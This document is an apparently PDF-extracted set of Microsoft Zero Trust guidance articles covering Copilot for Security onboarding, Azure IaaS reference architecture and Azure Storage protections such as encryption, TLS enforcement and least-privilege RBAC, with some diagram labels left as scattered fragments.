3 Secure devices for privileged access. Verify explicitly
4 Deploy or validate your threat protection services. Assume breach
5 Secure access to third-party security products and data. Verify explicitly
Assume breach
There are several approaches you can take to onboarding admin and SecOps staff to
Copilot for Security while you configure protections for your environment.
Per-user onboarding to Copilot for Security

At a minimum, walk through a checklist for your admin and SecOps staff before you
assign a role for Copilot for Security. This works well for small teams and organizations
that want to start with a test or pilot group.
Onboarding admins and SecOps
staff to Copilot for Security
ü Identity and access policies are up

to date
Least privileged access is

configured and validated
Devices are secured for privileged

access
Access to third-party security

products and data has been
reviewed
Appropriate roles in Copilot for

Security are applied
Phased deployment of Copilot for Security

For large environments, a more standard phased deployment works well. In this model,
you address groups of users at the same time to configure protection and assign roles.
Here is an example model.
Evaluate Pilot Full deployment

Identity and access Identify initial Identify the next set of Apply protections to the rest of
users for testing users in the production your admins and SecOps users
(your test group) environment (your pilot
group)
Least privileged Configure least Configure least Configure least privileges for
privilege for your privilege for your the rest of your admins and
access test group pilot group SecOps users
Devices Test device Apply device Apply device protection to the

protections with protections to the rest of the devices for your
initial users pilot group admins and SecOps users
Copilot for Security Introduce Copilot for Security to admins AFTER their identities and devices are
access protected and they have been configured for least privilege. Only assign the
Copilot Owner role after these protections are verified.

In the Evaluate phase, you pick a small set of admin and SecOps users that you
want to have access to Copilot for Security and apply identity and access and
device protections.
In the Pilot phase, you pick the next set of admin and SecOps users and apply
identity and access and device protections.
In the Full deployment phase, you apply identity and access and device
protections for the rest of your admin and SecOps users.
At the end of each phase, you assign the appropriate role in Copilot for Security to
the user accounts.
Because different organizations can be at various stages of deploying Zero Trust

protections for their environment, in each of these steps:
If you're NOT using any of the protections described in the step, take the time to
pilot and deploy them to your admin and SecOps staff prior to assigning roles that
include Copilot for Security.
If you're already using some of the protections described in the step, use the
information in the step as a checklist and verify that each protection stated has
been piloted and deployed prior to assigning roles that include Copilot for
Security.
Step 1. Deploy or validate identity and access

policies for admin and SecOps staff
To prevent bad actors from using Copilot for Security to quickly get information on
cyberattacks, the first step is to prevent them from gaining access. You must ensure that
admin and SecOps staff:
User accounts are required to use multifactor authentication (MFA) (so their access
can't be compromised by guessing user passwords alone) and they're required to
change their passwords when high-risk activity is detected.
Devices must comply with Intune management and device compliance policies.
For identity and access policy recommendations, see the identity and access step in Zero
Trust for Microsoft Copilot for Microsoft 365. Based on the recommendations in this
article, ensure that your resulting configuration applies the following policies for all
SecOps staff user accounts and their devices:
Always use MFA for sign-ins

Block clients that don’t support modern authentication
Require compliant PCs and mobile devices
High risk users must change password (for Microsoft 365 E5 only)
Require adherence to Intune device compliance policies
These recommendations align with the Specialized security protection level in

Microsoft’s Zero Trust identity and device access policies. The following diagram
illustrates the recommended three levels of protection: Starting point, Enterprise, and
Specialized. The Enterprise protection level is recommended as a minimum for your
privileged accounts.


to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)

In the diagram, the recommended policies for Microsoft Entra Conditional Access,
Intune device compliance, and Intune app protection are illustrated for each of the three
levels:
Starting point, which doesn't require device management.

Enterprise is recommended for Zero Trust and as a minimum for access to Copilot
for Security and your third-party security products and related data.
Specialized security is recommended for access to Copilot for Security and your
third-party security products and related data.
Each of these policies is described in greater detail in Common Zero Trust identity and
device access policies for Microsoft 365 organizations.
Configure a separate set of policies for privileged users

When configuring these policies for your admin and SecOps staff, create a separate set
of policies for these privileged users. For example, don’t add your admins to the same
set of policies that govern access of unprivileged users to apps such as Microsoft 365
and Salesforce. Use a dedicated set of policies with protections that are appropriate for
privileged accounts.
Include security tools in the scope of Conditional Access

policies
For now, there's not an easy way to configure Conditional Access for Copilot for
Security. However, because on-behalf-of authentication is used to access data within
security tools, be sure you have configured Conditional Access for these tools, which can
include Microsoft Entra ID and Microsoft Intune.
Step 2. Apply least privilege to admin and

SecOps user accounts
This step includes configuring the appropriate roles within Copilot for Security. It also
includes reviewing your admin and SecOps user accounts to ensure they are assigned
the least amount of privileges for the work they're intended to do.
Assign user accounts to Copilot for Security roles

The permissions model for Copilot for Security includes roles in both Microsoft Entra ID
and Copilot for Security.
ﾉ Expand table
Product Roles Description
Microsoft Security These Microsoft Entra roles inherit the Copilot owner role in
Entra ID Administrator Copilot for Security. Only use these privileged roles to onboard
Copilot for Security to your organization.
Global
Administrator
Copilot for Copilot owner These two roles include access to use Copilot for Security. Most
Security of your admin and SecOps staff can use the Copilot
Copilot contributor role.
contributor
The Copilot owner role includes the ability to publish custom
plugins and to manage settings that affect all of Copilot for
Security.
It’s important to know that, by default, all users in the tenant are given Copilot
contributor access. With this configuration, access to your security tool data is governed
by the permissions you configured for each of the security tools. An advantage of this
configuration is that the embedded experiences of Copilot for Security are immediately
available to your admin and SecOps staff within the products they use daily. This works
well if you’ve already adopted a strong practice of least privileged access within your
organization.
If you’d like to take a staged approach to introducing Copilot for Security to your admin
and SecOps staff while you tune up least privileged access in your organization, remove
All users from the Copilot contributor role and add security groups as you're ready.
For more information, see these Microsoft Copilot for Security resources:
Get started
Understand authentication
Configuring or reviewing least privilege access for admin

and SecOps user accounts
Introducing Copilot for Security is a great time to review the access of your admin and
SecOps staff user accounts to be sure you're following through with the principle of
least privilege for their access to specific products. This includes the following tasks:
Review the privileges granted for the specific products your admin and SecOps
staff work with. For example, for Microsoft Entra, see Least privileged roles by task.
Use Microsoft Entra Privileged Identity Management (PIM) to gain greater control
over access to Copilot for Security.
Use Microsoft Purview Privileged Access Management to configure granular access
control over privileged admin tasks in Office 365.
Using Microsoft Entra Privileged Identity Management together

with Copilot for Security
Microsoft Entra Privileged Identity Management (PIM) allows you to manage, control,
and monitor the roles required to access Copilot for Security. With PIM, you can:
Provide role activation that is time-based.

Require approval to activate privileged roles.
Enforce MFA to activate any role.
Get notifications when privileged roles are activated.
Conduct access reviews to ensure admin and SecOps staff user accounts still need
their assigned roles.
Perform audits on access and role changes for admin and SecOps staff.
Using privileged access management together with Copilot for
Security
Microsoft Purview Privileged Access Management helps protect your organization from
breaches and helps to meet compliance best practices by limiting standing access to
sensitive data or access to critical configuration settings. Instead of administrators
having constant access, just-in-time access rules are implemented for tasks that need
elevated permissions. Instead of administrators having constant access, just-in-time
access rules are implemented for tasks that need elevated permissions. For more
information, see Privileged access management.
Step 3. Secure devices for privileged access

In Step 1, you configured Conditional Access policies that required managed and
compliant devices for your admin and SecOps staff. For additional security, you can
deploy privileged access devices for your staff to use when accessing security tools and
data, including Copilot for Security. A privileged access device is a hardened workstation
that has clear application control and application guard. The workstation uses credential
guard, device guard, app guard, and exploit guard to protect the host from attackers.
For more information on how to configure a device for privileged access, see Securing
devices as part of the privileged access story.
To require these devices, be sure to update your Intune device compliance policy. If
you're transitioning admin and SecOps staff to hardened devices, transition your
security groups from the original device compliance policy to the new policy. The
Conditional Access rule can remain the same.
Step 4. Deploy or validate your threat

protection services
To detect the activities of bad actors and keep them from gaining access to Copilot for
Security, ensure that you can detect and respond to security incidents with a
comprehensive suite of threat protection services, which include Microsoft Defender
XDR with Microsoft 365, Microsoft Sentinel, and other security services and products.
Use the following resources.
ﾉ Expand table
Scope Description and resources
Microsoft 365 and See the Zero Trust for Microsoft Copilot for Microsoft 365 article for
SaaS apps integrated guidance on how to ramp up threat protection beginning with
with Microsoft Entra Microsoft 365 E3 plans and progressing with Microsoft E5 plans.
For Microsoft 365 E5 plans, also see Evaluate and pilot Microsoft
Defender XDR security.
Your Azure cloud Use the following resources to get started with Defender for Cloud:
resources
- Microsoft Defender for Cloud
Your resources in other - Apply Zero Trust principles to IaaS applications in AWS
cloud providers, such
as Amazon Web
Services (AWS)
Your digital estate with The Implement Microsoft Sentinel and Microsoft Defender XDR for Zero
all Microsoft XDR tools Trust solution guide walks through the process of setting up Microsoft
and Microsoft Sentinel eXtended detection and response (XDR) tools together with Microsoft
Sentinel to accelerate your organization’s ability to respond to and
remediate cybersecurity attacks.
Step 5. Secure access to third-party security

products and data
If you’re integrating third-party security products with Copilot for Security, be sure you
have secured access to these products and related data. Microsoft Zero Trust guidance
includes recommendations for securing access to SaaS apps. These recommendations
can be used for your third-party security products.
For protection with identity and device access policies, changes to common policies for
SaaS apps are outlined in red in the following diagram. These are the policies to which
you can add your third-party security products.
Zero Trust identity and device access policies for SaaS apps
Protection Device Microsoft Entra Conditional Access Intune device Intune app
level type compliance protection
policies policy policies

to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)
Changes from the common PCs include devices running the Windows or macOS platforms Requires Microsoft 365 E5, Microsoft 365 E3 with the
Identity add-on, Office 365 with EMS E5, or

March 2024
identity and device access policies Phones and tablets include devices running the iOS, iPadOS, or Android platforms individual Microsoft Entra ID P2 licenses
For your third-party security products and apps, consider creating a dedicated set of
policies for these. This allows you to treat your security products with greater
requirements compared to productivity apps, like Dropbox and Salesforce. For example,
add Tanium and all other third-party security products to the same set of Conditional
Access policies. If you want to enforce stricter requirements for devices for your admin
and SecOps staff, also configure unique policies for Intune device compliance and
Intune app protection and assign these policies to your admin and SecOps staff.
For more information about adding your security products to Microsoft Entra ID and to
the scope of your Conditional Access and related policies (or configuring a new set of
policies), see Add SaaS apps to Microsoft Entra ID and to the scope of policies.
Depending on the security product, it might be appropriate to use Microsoft Defender

for Cloud Apps to monitor the use of these apps and apply session controls.
Additionally, if these security apps include storage of data in any of the file types
supported by Microsoft Purview, you can use Defender for Cloud to monitor and protect
this data using sensitivity labels and data loss prevention (DLP) policies. For more
information, see Integrate SaaS apps for Zero Trust with Microsoft 365.
Example for Tanium SSO

Tanium is a provider of endpoint management tools and offers a custom Tanium Skills
plugin for Copilot for Security. This plugin helps ground prompts and responses that
leverage Tanium-gathered information and insights.
Here's the logical architecture of Copilot for Security with the Tanium Skills plugin.
Microsoft Copilot for Security service architecture
Azure Open AI service

subscription

Security
Sources
Preinstalled plugins Files you upload Third-party plugins
Microsoft Entra ID Microsoft Defender Examples — playbooks, Tanium Skills

Microsoft Purview Microsoft Defender
Microsoft Sentinel Threat Intelligence
Your subscriptions and data Third-party data
Data for event logs, alerts, incidents, and policies Tanium-gathered

information and insights
Microsoft security trust boundary 
In the diagram:
Tanium Skills is a custom plugin for Microsoft Copilot for Security.

Tanium Skills provides access to and helps ground both prompts and responses
that use Tanium-gathered information and insights.
To secure access to Tanium products and related data:
1. Use the Microsoft Entra ID Application Gallery to find and add Tanium SSO to your
tenant. See Add an enterprise application. For a Tanium-specific example, see
Microsoft Entra SSO integration with Tanium SSO.
2. Add Tanium SSO to the scope of your Zero Trust identity and access policies.
Next steps
Watch the Discover Microsoft Copilot for Security video .
Overview
Microsoft Copilot
Also see the Microsoft Copilot for Security documentation.

References
this article.
Get started with Microsoft Copilot for Security

Onboarding to Copilot for Security
Data sources for Microsoft Sentinel
Microsoft Entra Privileged Identity Management (PIM)
Privileged access management
Privileged access devices
Feedback
Overview – Apply Zero Trust principles
to Azure services
Article • 05/10/2024
Summary: To apply Zero Trust principles to Azure services, you need to determine the
set of infrastructure components required to support your desired workload, and then
apply Zero Trust principles to those components.
This series of articles helps you apply the principles of Zero Trust to your services in
Microsoft Azure using a multi-disciplinary methodology. Zero Trust is a security strategy.
It is not a product or a service, but an approach in designing and implementing the
following set of security principles:
Verify explicitly
Assume breach
Implementing the Zero Trust “never trust, always verify” mindset requires changes to
cloud infrastructure, deployment strategy, and implementation.
These articles show you how to apply Zero Trust approach to these new or already
deployed Azure services:
Azure IaaS overview

Azure storage
Virtual machines
Spoke virtual networks
Spoke virtual networks with Azure PaaS services
Hub virtual networks
Azure Virtual WAN
Content architecture
Here is the content architecture for this set of articles that contain the set of platform
and workload articles to apply Zero Trust principles to Azure services.
Workloads
Azure Virtual
Virtual Machines
Desktop
IaaS apps in Amazon
Web Services Spoke VNet with Azure IaaS services Spoke VNet with Azure PaaS services
Storage
Azure Virtual WAN (Microsoft-
Platform
Hub VNets (traditional) OR
managed)
Azure Entra ID Identity

Defender for Identity Defender for Endpoint Microsoft Sentinel
Protection
Implement Microsoft Sentinel and Microsoft Defender XDR
Configure your cloud identity infrastructure


Start at the bottom of the stack and work your way up to the desired workload.
You apply the guidance in the articles in a stack from the bottom up.
ﾉ Expand table
Workload Platform set of articles (from the bottom up)
IaaS apps in Amazon Web Cloud identity infrastructure

Services (AWS) Microsoft Sentinel and Microsoft Defender XDR
Spoke VNet with Azure IaaS Cloud identity infrastructure

services Microsoft Sentinel and Microsoft Defender XDR
Hub VNets (traditional) OR Azure Virtual WAN
(Microsoft-managed)
Storage
Azure Virtual Desktop or virtual Cloud identity infrastructure

machines Microsoft Sentinel and Microsoft Defender XDR
Hub VNets (traditional) OR Azure Virtual WAN
(Microsoft-managed)
Storage
Spoke VNet with Azure IaaS services
It’s important to note that the guidance in this series of articles is more specific for this
type of architecture than the guidance provided in the Cloud Adoption Framework and
Azure landing zone architectures. If you have applied the guidance in either of these
resources, be sure to also review this series of articles for additional recommendations.
Additional articles for Azure services

See these additional articles for applying Zero Trust principles to Azure services:
For Azure IaaS:

Azure storage
Virtual machines
Azure Virtual WAN
References
Refer to the links below to learn about the various services and technologies mentioned
in this article.
What is Azure - Microsoft Cloud Services

Introduction to Azure security
Overview of the Microsoft cloud security benchmark
Security baselines for Azure overview
Building the first layer of defense with Azure security services
Microsoft Cybersecurity Reference Architectures

organization.
Documentation set
ﾉ Expand table
365 for business
guidance
deployment guidance
Your role
ﾉ Expand table
IT implementer
business
Microsoft 365
Feedback
Overview – Apply Zero Trust principles
to Azure IaaS
Article • 04/12/2024
Summary: To apply Zero Trust principles to Azure IaaS components and infrastructure,
you must first understand the common reference architecture and the components of
Azure storage, virtual machines, and spoke and hub virtual networks.
This series of articles help you apply the principles of Zero Trust to your workloads in
Microsoft Azure IaaS based on a multi-disciplinary approach to applying the Zero Trust
principles. Zero Trust is a security strategy. It isn't a product or a service, but an
approach in designing and implementing the following set of security principles:
Verify explicitly
Assume breach
Implementing the Zero Trust mindset to "assume breach, never trust, always verify"
requires changes to cloud infrastructure, deployment strategy, and implementation.
These initial series of five articles (including this introduction) show you how to apply
Zero Trust approach to a common IT business scenario based on infrastructure services.
The work is broken into units that can be configured together as follows:
Azure storage
Virtual machines
Spoke virtual networks (VNets) for virtual machine-based workloads
Hub VNets to support access to many workloads in Azure
For more information, see Apply Zero Trust principles to Azure Virtual Desktop.
７ Note
Additional articles will be added to this series in the future, including how
organizations can apply a Zero Trust approach to applications, networking, data,
and DevOps services based on real IT business environments.
） Important
This Zero Trust guidance describes how to use and configure several security
solutions and features available on Azure for a reference architecture. Several other
resources also provide security guidance for these solutions and features, including:
Microsoft Cloud Security Benchmark

Microsoft Cloud Security Baseline
To describe how to apply a Zero Trust approach, this guidance targets a common
pattern used in production by many organizations: a virtual-machine-based application
hosted in a VNet (and IaaS application). This is a common pattern for organizations
migrating on-premises applications to Azure, which is sometimes referred to as "lift-
and-shift." The reference architecture includes all components necessary to support this
application, including storage services and a hub VNet.
The reference architecture reflects a common deployment pattern in production

environments. It isn't based on the enterprise-scale landing zones recommended in the
Cloud Adoption Framework (CAF), although many of the best practices in CAF are
included in the reference architecture, such as using a dedicated VNet to host
components that broker access to the application (hub VNet).
If you're interested in learning about the guidance recommended in the Cloud Adoption
Framework Azure landing zones, see these resources:
Get started with the Cloud Adoption Framework

What is an Azure landing zone?
Reference architecture
The following figure shows the reference architecture for this Zero Trust guidance.
Internet Azure
APP GW subnet
User NSG
Front end tier subnet
ASG ASG
AppGw (WAF)
Admin VM VM
Bastion
Azure Firewall To requested

Bastion Subnet VM
Premium
NSG
Azure Firewall App tier subnet
Subnet
ASG ASG
VPN GW Subnet
VM VM
VPN GW NSG
Data tier subnet
Security (HUB) VNET ASG ASG
VM VM
Workload (SPOKE) VNET
Developer NSG = Network Security Group

Azure Blob ASG = Application Security Group
Azure Files
Azure Storage Services
Entra ID MDC RBAC Azure Key Vault

Office location Monitor
Common (PaaS) Services
Admin
On-premises
datacenter
Router Admin Entra ID AD DS On-premises 

app
Connect
This architecture contains:
Multiple IaaS components and elements, including different types of users and IT
consumers accessing the app from different sites. such as Azure, the internet, on-
premises, and branch offices.
A common three-tier application containing a front end tier, application tier, and
data tier. All tiers run on virtual machines within a VNet named SPOKE. Access to
the app is protected by another VNet named HUB that contains additional security
services.
Some of the most used PaaS services on Azure that support IaaS applications,
including role-based access control (RBAC) and Microsoft Entra ID, which
contribute to the Zero Trust security approach.
Storage Blobs and Storage Files that provide object storage for the applications
and files shared by users.
This series of articles walk through the recommendations for implementing Zero Trust
for the reference architecture by addressing each of these larger pieces hosted in Azure,
as shown here.
Azure
APP GW subnet
2
NSG
AppGw (WAF)
Bastion ASG ASG
Azure Firewall To requested VM VM

Bastion Subnet VM
Premium
Azure Firewall
Subnet
NSG
App tier subnet
VPN GW Subnet
ASG ASG
VM VM
VPN GW
4 Security (HUB) VNET NSG

Data tier subnet
ASG ASG
VM VM
Azure Blob 3
1 NSG = Network Security Group
ASG = Application Security Group
Azure Files
Entra ID MDC RBAC Azure Key Vault

Monitor
Common (PaaS) Services 
The diagram outlines the larger areas of the architecture that are addressed by each
article in this series:
1. Azure Storage Services

2. Virtual machines
3. Spoke VNets
4. Hub VNets
It’s important to note that the guidance in this series of articles is more specific for this
type of architecture than the guidance provided in the Cloud Adoption Framework and
Azure landing zone architectures. If you applied the guidance in either of these
resources, be sure to also review this series of articles for additional recommendations.
Understanding Azure components

The reference architecture diagram provides a topological view of the environment. It’s
also valuable to see logically how each of the components can be organized within the
Azure environment. The following diagram provides a way to organize your
subscriptions and resource groups. Your Azure subscriptions might be organized
differently.
Entra ID (Tenant)
RBAC and Azure Policies

Management Group
Other Azure
Azure subscription Azure subscription subscriptions
Defender for
Microsoft Defender for Cloud Defender for Cloud Cloud
Azure Monitor Azure Monitor Azure Monitor
Resource
Storage resource group Virtual machine resource Spoke VNet resource Hub VNet resource group groups for
additional
group group
workloads
Storage accounts
Virtual machines for VNet VNet
Blob Storage Azure Files front end tier
service service App GW + WAF Bastion
Virtual machines for
Data set Data set Network security
app tier Azure Firewall
groups
Data set Data set Application security

VPN GW
Virtual machines for groups
data tier
1 2 3 4

In this diagram, the Azure infrastructure is contained within an Entra ID tenant. The
following table describes the different sections shown in the diagram.
Azure subscriptions
You can distribute the resources in more than one subscription, where each
subscription may hold different roles, such as network subscription, or security
subscription. This is described in the Cloud Adoption Framework and Azure
Landing Zone documentation previously referenced. The different subscriptions
may also hold different environments, such as production, development, and tests
environments. It depends on how you want to separate your environment and the
number of resources you'll have in each. One or more subscriptions can be
managed together using a Management Group. This gives you the ability to apply
permissions with role based access control (RBAC) and Azure policies to a group of
subscriptions instead of setting up each subscription individually.
Microsoft Defender for Cloud and Azure Monitor
For each Azure subscription, a set of Azure Monitor solutions and Defender for
Cloud is available. If you manage these subscriptions through a Management
Group, you're able to consolidate in a single portal for all the functionality of Azure
Monitor and Defender for Cloud. For example, Secure Score, provided by Defender
for Cloud, are consolidated for all your subscriptions, using a Management Group
as the scope.
Storage resource group (1)
The storage account is contained in a dedicated resource group. You can isolate
each storage account in a different resource group for more granular permission
control. Azure storage services are contained within a dedicated storage account.
You can have one storage account for each type of storage workload, for example
an Object Storage (also called Blob storage) and Azure Files. This provides more
granular access control and can improve performance.
Virtual machines resource group (2)
Virtual machines are contained in one resource group. You can also have each
virtual machine type for workload tiers such as front end, application, and data in
different resource groups to further isolate access control.
Spoke (3) and hub (4) VNet resource groups in separate subscriptions
The network and other resources for each of the VNets in the reference
architecture are isolated within dedicated resource groups for spoke and hub
VNets. This organization works well when responsibility for these live on different
teams. Another option is to organize these components by putting all network
resources in one resource group and security resources in another. It depends on
how your organization is set up to manage these resources.
Threat Protection with Microsoft Defender for

Cloud
Microsoft Defender for Cloud is an extended detection and response (XDR) solution
that automatically collects, correlates, and analyzes signal, threat, and alert data from
across your environment. Defender for Cloud is intended to be used together with
Microsoft Defender XDR to provide a greater breadth of correlated protection of your
environment, as shown in the following diagram.
Entra ID (Tenant)
Microsoft Defender XDR Microsoft Defender for Cloud enabled for a management group
Microsoft 365 Management group

On-premises SaaS apps
(1 per tenant)
Integrated with Azure subscription Azure subscription

your Entra ID
SharePoint
tenant Resource group Resource group Resource group Resource group
Active Directory
Domain Services
Exchange
Microsoft Teams
Active Directory
Federation Services
Files, mailboxes, chat data,
videos, etc.

In the diagram:
Defender for Cloud is enabled for a management group that includes multiple
Azure subscriptions.
Microsoft Defender XDR is enabled for Microsoft 365 apps and data, SaaS apps
that are integrated with Microsoft Entra ID, and on-premises Active Directory
Domain Services (AD DS) servers.
For more information about configuring management groups and enabling Defender
for Cloud, see:
Organize subscriptions into management groups and assign roles to users

Enable Defender for Cloud on all subscriptions in a management group
Security solutions in this series of articles

Zero Trust involves applying multiple disciplines of security and information protection
together. In this series of articles, this multi-discipline approach is applied to each of the
units of work for infrastructure components as follows:
Apply Zero Trust principles to Azure storage
1. Protect data in all three modes: data at rest, data in transit, and data in use
2. Verify users and control access to storage data with the least privileges
3. Logically separate or segregate critical data with network controls
4. Use Defender for Storage for automated threat detection and protection
Apply Zero Trust principles to virtual machines in Azure
1. Configure logical isolation for virtual machines

2. Leverage Role Based Access Control (RBAC)
3. Secure virtual machine boot components
4. Enable customer-managed keys and double encryption
5. Control the applications installed on virtual machines
6. Configure secure access
7. Set up secure maintenance of virtual machines
8. Enable advanced threat detection and protection
Apply Zero Trust principles to a spoke VNet in Azure
1. Leverage Microsoft Entra RBAC or set up custom roles for networking resources
2. Isolate infrastructure into its own resource group
3. Create a network security group for each subnet
4. Create an application security group for each virtual machine role
5. Secure traffic and resources within the VNet
6. Secure access to the VNet and application
7. Enable advanced threat detection and protection
Apply Zero Trust principles to a hub VNet in Azure
1. Secure Azure Firewall Premium

2. Deploy Azure DDoS Protection Standard
3. Configure network gateway routing to the firewall
4. Configure threat protection
Recommended training for Zero Trust

The following are the recommended training modules for Zero Trust.
Azure management and governance
ﾉ Expand table
Training Describe Azure management and governance
The Microsoft Azure Fundamentals training is composed of three learning paths:

Microsoft Azure Fundamentals: Describe cloud concepts, Describe Azure architecture
and services, and Describe Azure management and governance. Microsoft Azure
Fundamentals: Describe Azure management and governance is the third learning
path in Microsoft Azure Fundamentals. This learning path explores the management
and governance resources available to help you manage your cloud and on-premises
resources.
This learning path helps prepare you for Exam AZ-900: Microsoft Azure
Fundamentals.
Start >
Configure Azure Policy
ﾉ Expand table
Training Configure Azure Policy
Learn how to configure Azure Policy to implement compliance requirements.

In this module, you learn how to:
Create management groups to target policies and spending budgets.
Implement Azure Policy with policy and initiative definitions.
Scope Azure policies and determine compliance.
Start >
Manage security operation
ﾉ Expand table
Training Manage Security operation
Once you have deployed and secured your Azure environment, learn to monitor,
operate, and continuously improve the security of your solutions.
This learning path helps prepare you for Exam AZ-500: Microsoft Azure Security
Technologies.
Start >
Configure storage security
ﾉ Expand table
Training Configure Storage security
Learn how to configure common Azure Storage security features like storage
access signatures.
Configure a shared access signature (SAS), including the uniform resource
identifier (URI) and SAS parameters.
Configure Azure Storage encryption.
Implement customer-managed keys.
Recommend opportunities to improve Azure Storage security.
Start >
Configure Azure Firewall
ﾉ Expand table
Training Configure Azure Firewall
You will learn how to configure the Azure Firewall including firewall rules.
After completing this module, you will be able to:
Determine when to use Azure Firewall.
Implement Azure Firewall including firewall rules.
Start >
For more training on security in Azure, see these resources in the Microsoft catalog:
Security in Azure | Microsoft Learn
Next Steps
See these additional articles for applying Zero Trust principles to Azure:
For Azure IaaS:

Azure storage
Virtual machines
Azure Virtual WAN
Technical illustrations
This poster provides a single-page, at-a-glance view of the components of Azure IaaS as
reference and logical architectures, along with the steps to ensure that these
components have the "never trust, always verify" principles of the Zero Trust model
applied.
ﾉ Expand table
Item Related solution guides
Azure Storage services

Virtual machines
Spoke VNets
Hub VNets
PDF | Visio
Updated March 2024
This poster provides the reference and logical architectures and the detailed
configurations of the separate components of Zero Trust for Azure IaaS. Use the pages
of this poster for separate IT departments or specialties or, with the Microsoft Visio
version of the file, customize the diagrams for your infrastructure.
ﾉ Expand table
Item Related solution guides

Virtual machines
Spoke VNets
Hub VNets
PDF | Visio
Updated March 2024
For additional technical illustrations, click here.
References
Refer to the following links to learn about the various services and technologies
mentioned in this article.

Azure Infrastructure as a Service (IaaS)
Virtual Machines (VMs) for Linux and Windows
Introduction to Azure Storage
Azure Virtual Network
Feedback
Apply Zero Trust principles to Azure
storage
Article • 04/12/2024
Summary: To apply Zero Trust principles to Azure storage, you must protect data (at
rest, in transit, and in use), verify users and control access, separate or segregate critical
data with network controls, and use Defender for Storage for automated threat
detection and protection.
This article provides steps to apply the principles of Zero Trust to Azure Storage:
ﾉ Expand table

principle
Verify Always authenticate and authorize Verify user credentials and access.
explicitly based on all available data points.
Use least Limit user access with Just-In-Time Control access to storage data with least
privileged and Just-Enough-Access (JIT/JEA), risk- privileges.
access based adaptive policies, and data
protection.
Assume Minimize blast radius and segment Protect data at rest, data in transit, and
breach access. Verify end-to-end encryption data in use. Separate critical data with
and use analytics to get visibility, drive network controls. Use Defender for
threat detection, and improve Storage for automated threat detection
defenses. and protection.
This article is part of a series of articles that demonstrate how to apply the principles of
Zero Trust across an environment in Azure that includes Azure Storage services to
support an IaaS workload. For an overview, see Apply Zero Trust principles to Azure
infrastructure.
Storage architecture in Azure

You apply Zero Trust principles for Azure Storage across the architecture, from the
tenant and directory level down to the storage container at the data layer.
The following diagram shows the logical architecture components.

Entra ID (Tenant)
Azure subscription
Storage resource group
Storage accounts
Blob Storage Azure Files

service service
Data set Data set
Data set Data set
In the diagram:
The storage account for the reference architecture is contained in a dedicated

resource group. You can isolate each storage account in a different resource group
for more granular role-based access controls (RBAC). You can assign RBAC
permissions to manage the storage account at the resource group or resource
group level and audit these with Microsoft Entra ID logging and tools such as
Privileged Identity Management (PIM). If you're running multiple applications or
workloads with multiple corresponding storage accounts in one Azure
subscription, it is important to limit each storage account's RBAC permissions to its
corresponding owners, data custodians, controllers, etc.
Azure storage services for this diagram are contained within a dedicated storage
account. You can have one storage account for each type of storage workload.
For a broader look at the reference architecture, see the Apply Zero Trust principles
to Azure IaaS overview.
The diagram doesn't include Azure Queues and Azure Tables. Use the same guidance in
this article to secure these resources.
What's in this article?
This article walks through the steps to apply the principles of Zero Trust across the
reference architecture.
ﾉ Expand table
Step Task Zero Trust principle(s)

applied
1 Protect data in all three modes: data at rest, data in transit, Assume breach
data in use.
2 Verify users and control access to storage data with least Verify explicitly
privileges. Use least privileged access
3 Logically separate or segregate critical data with network Assume breach

controls.
4 Use Defender for Storage for automated threat detection Assume breach
and protection.
Step 1: Protect data in all three modes: data at

rest, data in transit, data in use
You configure most of the settings for protecting data at rest, in transit, and in use,
when you create the storage account. Use the following recommendations to be sure
you configure these protections. Also consider enabling Microsoft Defender for Cloud to
automatically evaluate your storage accounts against the Microsoft cloud security
benchmark that outlines a security baseline for each Azure service.
For more information on these storage security controls, see here.
Use encryption in transit

Keep your data secure by enabling transport-level security between Azure and the
client. Always use HTTPS to secure communication over the public internet. When you
call the REST APIs to access objects in storage accounts, you can enforce the use of
HTTPS by requiring Secure Transfer Required for the storage account. Any request
originating from an insecure connection is rejected.
This configuration is enabled by default when you deploy a new Azure Storage Account
(Secure by Default).
Consider applying a policy to deny the deployment of insecure connections for Azure
Storage (Secure by Design).
This configuration also requires SMB 3.0 with Encryption.
Prevent anonymous public read access

By default, public blob access is prohibited, but a user with the proper permissions can
configure an accessible resource. To prevent data breaches from anonymous access, you
should specify who has access to your data. Preventing this at the storage account level
prevents a user from enabling this access at the container or blob level.
For more information, see Prevent anonymous public read access to containers and
blobs.
Prevent shared key authorization

This configuration forces the storage account to reject all requests made with a shared
key and require Microsoft Entra authorization instead. Microsoft Entra ID is a more
secure choice as you can use risk-based access mechanisms to harden access to data
tiers. For more information, see Prevent Shared Key authorization for an Azure Storage
account.
You configure data protection for all three modes from the configuration settings of a
storage account, as shown here.
These settings can't be changed after you create the storage account.
Enforce a minimum required version of transport layer

security (TLS)
The highest version Azure Storage currently supports is TLS 1.2. Enforcing a minimum
TLS version rejects requests from clients using older versions. For more information, see
Enforce a minimum required version of TLS for requests to a storage account.
Define the scope for copy operations

Define the scope for copy operations to restrict copy operations to only those from
source storage accounts that are within the same Microsoft Entra tenant or that have a
Private Link to the same virtual network (VNet) as the destination storage account.
Limiting copy operations to source storage accounts with private endpoints is the most
restrictive option and requires that the source storage account has private endpoints
enabled.
You configure a scope for copy operations from the configuration settings of a storage
account, as shown here.
Understand how encryption at rest works

All data written to Azure Storage is automatically encrypted by Storage Service
Encryption (SSE) with a 256-bit Advanced Encryption Standard (AES) cipher. SSE
automatically encrypts data when writing it to Azure Storage. When you read data from
Azure Storage, Azure Storage decrypts the data before returning it. This process incurs
no additional charges and doesn't degrade performance. Using customer-managed keys
(CMK) provides additional capabilities to control rotation of the key encryption key or
cryptographically erase data.
You enable CMK from the Encryption blade when creating a storage account, as shown
here.

You can also enable infrastructure encryption, which provides double encryption at both
the service and infrastructure levels. This setting can't be changed after you create the
storage account.
７ Note
In order to utilize a customer-managed key for storage account encryption, you

must enable it during account creation and you should have a Key Vault with Key
and Managed Identity with appropriate permissions already provisioned.
Optionally, 256-bit AES encryption at the Azure Storage infrastructure level can also
be enabled.
Step 2: Verify users and control access to
storage data with the least privileges
First, use Microsoft Entra ID to govern access to storage accounts. Using Role-based
Access Control with Storage Accounts allows you to granularly define access based job
function using OAuth 2.0. You can align your granular access to your Conditional Access
Policy.
It is important to note that roles for storage accounts must be assigned at either the
management or data level. Thus, if you're using Microsoft Entra ID as the authentication
and authorization method, a user should be assigned the appropriate combination of
roles to give them the least amount of privilege necessary to complete their job
function.
For a list of Storage Account Roles for granular access see Azure built-in roles for
Storage. RBAC assignments are done through the Access Control option on the Storage
Account and can be assigned at various scopes.
